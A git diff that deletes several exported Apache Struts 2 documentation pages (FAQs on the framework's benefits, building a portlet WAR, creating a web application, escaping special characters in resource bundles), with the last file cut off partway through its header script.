diff --git a/content/docs/how-does-struts-2-make-web-applications-easier-to-develop-deploy-and-maintain.html b/content/docs/how-does-struts-2-make-web-applications-easier-to-develop-deploy-and-maintain.html
deleted file mode 100644
index fba07de..0000000
--- a/content/docs/how-does-struts-2-make-web-applications-easier-to-develop-deploy-and-maintain.html
+++ /dev/null
@@ -1,140 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How does Struts 2 make web applications easier to develop, deploy, and maintain</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-does-struts-2-make-web-applications-easier-to-develop-deploy-and-maintain.html">How does Struts 2 make web applications easier to develop, deploy, and maintain</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How does Struts 2 make web applications easier to develop, deploy, and maintain</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28460">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=28460">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28460">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=28460">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28460">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=28460">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The framework has:</p>
-
-<ul><li>A flexible, plain old Java object (POJO)-based architecture to structure your code and pages, yet stay out of your way</li><li>A theme-enabled tag library supporting JSP, Velocity, and Freemarker</li><li>Built in support for complex Javascript and Ajax widgets</li><li>A simple plugin framework to integrate with third-party libraries like JavaServer Faces, JasperReports, and JFreeChart.</li><li>Built-in debugging tools supporting profiling, problem reports, and        interactive  [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-to-build-the-portlet-war-for-a-specific-portal-server.html b/content/docs/how-to-build-the-portlet-war-for-a-specific-portal-server.html
deleted file mode 100644
index 432db58..0000000
--- a/content/docs/how-to-build-the-portlet-war-for-a-specific-portal-server.html
+++ /dev/null
@@ -1,170 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How to build the portlet WAR for a specific portal server</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-to-build-the-portlet-war-for-a-specific-portal-server.html">How to build the portlet WAR for a specific portal server</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How to build the portlet WAR for a specific portal server</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14159">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14159">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14159">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14159">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14159">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14159">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<div class="panel" style="border-width: 1px;"><div class="panelHeader" style="border-bottom-width: 1px;"><b>Build instructions</b></div><div class="panelContent">
-<p>Budiling a portlet WAR, step by step.</p>
-<ul><li>Run <code>ant</code> from the <code>webapp</code> project directory</li><li>cd to <code>webapps</code> directory</li><li>To build a portlet webapp, run: <code>ant build-portlet</code></li></ul>
-
-
-<ul><li>Use the <code>container</code> system property to target a specific container, e.g. '-Dcontainer=exo'.
-	<ul><li>Several containers are <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Which%2Bportal%2Bservers%2Bare%2Bsupported&amp;linkCreation=true&amp;fromPageId=14159">supported</a>.</li><li>Example command:
-		<ul><li><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-ant build-portlet \-Dcontainer=jboss-portal-2.2
-</pre>
-</div></div></li></ul>
-		</li></ul>
-	</li><li>Check the <code>etc/yourcontainer</code> directory for a README file. If available, check for further instructions.</li><li>Deploy the WAR to your portal server</li></ul>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The referenced Ant bjuild file is not yet available for Struts 2</p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-to-create-a-struts-2-web-application.html b/content/docs/how-to-create-a-struts-2-web-application.html
deleted file mode 100644
index 369078e..0000000
--- a/content/docs/how-to-create-a-struts-2-web-application.html
+++ /dev/null
@@ -1,153 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How To Create A Struts 2 Web Application</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="getting-started.html">Getting Started</a>&nbsp;&gt;&nbsp;<a href="how-to-create-a-struts-2-web-application.html">How To Create A Struts 2 Web Application</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How To Create A Struts 2 Web Application</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811860">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14811860">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811860">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14811860">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811860">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14811860">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This tutorial walks through installing the framework and creating a simple application.</p><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>While the Struts 2 framework is simple to use, creating non-trivial applications assumes a working knowledge of many J2EE technologi [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-to-escape-special-chars-in-resource-bundles.html b/content/docs/how-to-escape-special-chars-in-resource-bundles.html
deleted file mode 100644
index 80b7991..0000000
--- a/content/docs/how-to-escape-special-chars-in-resource-bundles.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>How to escape special chars in resource bundles</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="how-to-escape-special-chars-in-resource-bundles.html">How to escape special chars in resource bundles</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">How to escape special chars in resource bundles</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14051">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14051">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14051">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14051">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14051">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14051">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<h2 id="Howtoescapespecialcharsinresourcebundles-NormalJavaresourcebundles">Normal Java resource bundles</h2>
-
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">API: java.util.Properties</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The method does not treat a backslash character, \, before a non-valid escape character as an error; the backslash is silently dropped. For example, in a Java string the sequence "\z" would cause a compile time error. In contrast, this method silently drops the backslash. Therefore, this method treats the two character sequence "\b" as equivalent to the single character 'b'.</p></div></div>
-
-<h2 id="Howtoescapespecialcharsinresourcebundles-MessageFormatrules">MessageFormat rules</h2>
-
-<p>The table describes how to escape some special charaters.</p>
-
-<h3 id="Howtoescapespecialcharsinresourcebundles-Thespecialchars\',{and}:">The special chars \', { and }:</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>escape ' with another '
-</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>''
-</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"><p> (double-single quote) </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>escape \ with another \
-</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>\\
-</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"><p> (double backslash) </p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>enclose } with '
-</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>'}'
-</pre>
-</div></div> </td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>enclose { with '
-</pre>
-</div></div> </td><td colspan="1" rowspan="1" class="confluenceTd"> <div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>'{'
-</pre>
-</div></div> </td></tr></tbody></table></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/how-to-format-dates-and-numbers.html b/content/docs/how-to-format-dates-and-numbers.html
deleted file mode 100644
index 5ab8154..0000000
--- a/content/docs/how-to-format-dates-and-numbers.html
+++ /dev/null
@@ -1,222 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
